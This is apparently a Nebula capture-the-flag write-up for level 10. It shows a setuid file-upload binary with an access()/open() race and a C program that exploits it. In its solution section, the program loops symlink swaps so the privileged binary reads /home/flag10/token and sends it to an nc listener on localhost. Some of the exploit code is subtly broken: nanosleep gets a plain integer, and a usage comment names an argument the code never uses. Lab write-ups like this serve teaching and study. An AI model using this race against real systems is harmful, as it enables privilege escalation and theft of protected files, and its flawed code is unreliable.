Nebula - Level10 - Upload
About
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call. To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.
Source code
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
Solution
This program has a race condition from the use of the access()
system call prior to actually calling the open() call. Instead of racing the program by hand, create
a program to randomly select an interval in which to attempt a race
[1].
Note that this does require that the nosuid option is NOT set on a mounted file system. Use
nc -lk 18211 > output.txt to save the outputs from the attempted connections. Execute the race
program with ./<program name> > pOutput.txt.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/*usage: ./prog <file to link>*/
int main(int argc, char** argv){
// create array for CLI args
char* const linkFile[3] = {"flag10", "/home/level10/token", "127.0.0.1"};
FILE* fp = 0;
while (1){
// remove the link from the previous loop
unlink(linkFile[1]);
// recreate the file to prevent an access error
fp = fopen(linkFile[1], "w");
fprintf(fp, "%s", "");
fclose(fp);
// randomize the sleeping value
// this allows to randomly exploit a race condition
// this value is dependent on hardware, system load, and
// several other factors
int sleepVal = rand() % 20;
int childpid = fork();
// this is the new process
if (childpid == 0){
nanosleep(sleepVal);
// system() allows us not to need the array
system("/home/flag10/flag10 /home/level10/token 127.0.0.1");
//execv("/home/flag10/flag10", linkFile);
return 0;
// an error occurred
} else if (childpid < 0) {
sleep(1);
// race to change to the file to a link between the time access() is
// called and the time open() is called
} else {
symlink("/home/flag10/token", linkFile[1]);
}
// try not to overload the system,
// and allow the vulnerable program to read the link
nanosleep(500);
}
return 0;
}